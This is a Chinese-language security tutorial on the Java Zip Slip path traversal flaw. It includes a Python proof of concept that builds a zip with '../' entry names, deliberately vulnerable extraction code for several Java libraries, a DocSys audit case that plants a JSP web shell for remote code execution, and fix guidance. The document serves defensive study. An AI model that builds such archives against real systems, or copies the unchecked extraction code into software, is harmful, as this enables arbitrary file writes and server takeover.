Java Zip Slip漏洞案例分析及实战挖掘
字数 2266 2025-08-25 22:58:29
Java Zip Slip漏洞深度分析与实战指南
1. 漏洞概述
Zip Slip是一种文件解压路径遍历漏洞,主要出现在处理压缩文件解压功能的应用程序中。当应用程序解压用户可控的压缩文件时,如果未对压缩包中的文件名进行适当过滤,攻击者可以通过构造恶意文件名(如包含../序列)实现任意文件写入,可能导致服务器被完全控制。
漏洞特点
- 影响广泛:在JavaScript、Ruby、.NET和Go等多种生态系统中都存在,但在Java中尤为普遍
- 危害严重:可导致任意文件写入,进而可能实现远程代码执行
- 触发场景:常见于文件上传并解压的功能点
2. 漏洞原理
2.1 核心漏洞机制
当应用程序解压zip文件时,通常会:
- 读取zip条目中的文件名
- 将该文件名与目标解压目录拼接
- 将文件内容写入拼接后的路径
如果未对文件名中的路径遍历序列(../)进行过滤,攻击者可以构造恶意zip文件,使其中的文件名包含路径遍历序列,从而将文件写入任意目录。
2.2 Java中的特殊问题
Java生态中缺乏一个提供高级归档文件处理功能的中央库,导致开发者经常手动编写或从社区(如StackOverflow)复制解压代码,而这些代码往往缺乏必要的安全检查。
3. 恶意Zip文件构造
3.1 Python构造示例
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("D:/tgao/pass/1", "../password", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
3.2 构造说明
zipFile.write("D:/tgao/pass/1", "../password", zipfile.ZIP_DEFLATED)是关键- 第一个参数是本地要压缩的文件路径
- 第二个参数是压缩包中的文件名,此处使用
../password构造路径遍历 - 解压时,该文件将被写入目标目录的上级目录中的password文件
4. 漏洞代码分析
4.1 原生java.util.zip漏洞示例
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Enumeration;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
public class Zip1 {
public static void main(String[] args) throws IOException {
String fileAddress = "D:/pythonProject/exp/ctf/poc.zip";
String unZipAddress = "D:/tgao/pass/";
File file = new File(fileAddress);
ZipFile zipFile = new ZipFile(file);
Enumeration e = zipFile.entries();
while(e.hasMoreElements()) {
ZipEntry zipEntry = (ZipEntry)e.nextElement();
// 漏洞点:直接拼接解压路径和条目名,未做过滤
File f = new File(unZipAddress + zipEntry.getName());
f.getParentFile().mkdirs();
f.createNewFile();
InputStream is = zipFile.getInputStream(zipEntry);
FileOutputStream fos = new FileOutputStream(f);
int length = 0;
byte[] b = new byte[1024];
while((length=is.read(b, 0, 1024))!=-1) {
fos.write(b, 0, length);
}
is.close();
fos.close();
}
zipFile.close();
}
}
漏洞点分析:
File f = new File(unZipAddress + zipEntry.getName())直接使用zip条目名拼接路径- 攻击者可控制zipEntry.getName()返回
../malicious.jsp等恶意路径 - 导致文件被写入任意目录
4.2 zt-zip组件漏洞
依赖引入:
<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.12</version>
</dependency>
漏洞代码:
import org.zeroturnaround.zip.ZipUtil;
import java.io.File;
public class Zip2 {
public static void main(String[] args) {
File zip = new File("D:/pythonProject/exp/ctf/poc.zip");
File dir = new File("D:/tgao/pass");
ZipUtil.unpack(zip, dir);
}
}
漏洞分析:
ZipUtil.unpack()内部使用IdentityNameMapper处理文件名IdentityNameMapper.map()方法直接返回原始文件名,不做任何过滤- 最终调用原生Java API处理解压,导致路径遍历
修复情况:
- 在zt-zip 1.13版本中修复
- 修复commit: https://github.com/zeroturnaround/zt-zip/commit/759b72f33bc8f4d69f84f09fcb7f010ad45d6fff
4.3 spring-integration-zip漏洞(CVE-2018-1261)
依赖引入:
<dependency>
<groupId>org.springframework.integration</groupId>
<artifactId>spring-integration-zip</artifactId>
<version>1.0.0.RELEASE</version>
</dependency>
漏洞代码:
import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.core.io.Resource;
import org.springframework.core.io.ResourceLoader;
import org.springframework.integration.support.MessageBuilder;
import org.springframework.integration.zip.transformer.UnZipTransformer;
import org.springframework.messaging.Message;
import java.io.File;
import java.io.InputStream;
public class Zip3 {
private static ResourceLoader resourceLoader = new DefaultResourceLoader();
public static void main(String[] args) {
final Resource evilResource = resourceLoader.getResource("classpath:poc.zip");
try{
InputStream evilIS = evilResource.getInputStream();
Message<InputStream> evilMessage = MessageBuilder.withPayload(evilIS).build();
UnZipTransformer unZipTransformer = new UnZipTransformer();
unZipTransformer.transform(evilMessage);
}catch (Exception e){
System.out.println(e);
}
}
}
漏洞分析:
UnZipTransformer内部使用zt-zip进行解压操作- 创建匿名
ZipEntryCallback对象处理文件时未做路径过滤 - 默认解压目录为系统临时目录下的
ziptransformer文件夹 - 通过路径遍历可突破该目录限制
修复情况:
- 修复commit: https://github.com/spring-projects/spring-integration-extensions/commit/a5573eb232ff85199ff9bb28993df715d9a19a25
5. 审计实战案例
5.1 目标系统
DocSys文档管理系统 (https://gitee.com/RainyGao/DocSys)
5.2 漏洞代码
// com.DocSystem.controller.BaseController#unZip
while(entries.hasMoreElements()) {
ZipEntry entry = (ZipEntry)entries.nextElement();
File file = new File(destDir, entry.getName()); // 漏洞点
if (entry.isDirectory()) {
file.mkdirs();
} else {
File parent = file.getParentFile();
if (!parent.exists()) {
parent.mkdirs();
}
// ...文件写入操作
}
}
5.3 触发路径
com.DocSystem.controller.ManageController#upgradeSystem方法调用了存在漏洞的unZip方法
5.4 利用方式
- 构造恶意zip文件,其中包含如
../../webapp/malicious.jsp的文件 - 通过系统升级功能上传该zip文件
- 系统解压时会将恶意jsp文件写入web目录,实现RCE
5.5 漏洞复现参考
https://gitee.com/RainyGao/DocSys/issues/I65IYU
6. 防御方案
6.1 通用修复方法
-
路径规范化+验证:
String canonicalPath = file.getCanonicalPath(); if (!canonicalPath.startsWith(destDirCanonicalPath)) { throw new SecurityException("Zip entry outside of target directory"); } -
使用安全库:
- 使用已修复的zt-zip(≥1.13)版本
- 使用Apache Commons Compress等更安全的压缩库
-
文件名过滤:
String fileName = entry.getName(); if (fileName.contains("../") || fileName.contains("..\\")) { throw new SecurityException("Invalid file path"); }
6.2 各组件修复建议
-
原生Java.util.zip:
- 在拼接路径前验证文件名
- 使用
getCanonicalPath()检查最终路径是否在目标目录内
-
zt-zip:
- 升级到1.13或更高版本
- 或自定义安全的
NameMapper实现
-
spring-integration-zip:
- 升级到已修复版本
- 或自定义安全的解压逻辑
7. 总结
Zip Slip是一个高危的路径遍历漏洞,在Java生态中尤为常见。开发者在实现解压功能时应注意:
- 永远不要信任压缩包中的文件名
- 必须对解压路径进行规范化并验证
- 优先使用已修复的安全版本库
- 在代码审计时特别关注
ZipEntry.getName()的使用方式
通过本文的分析和案例,安全研究人员可以更有效地识别和修复此类漏洞,开发者可以避免在代码中引入此类安全问题。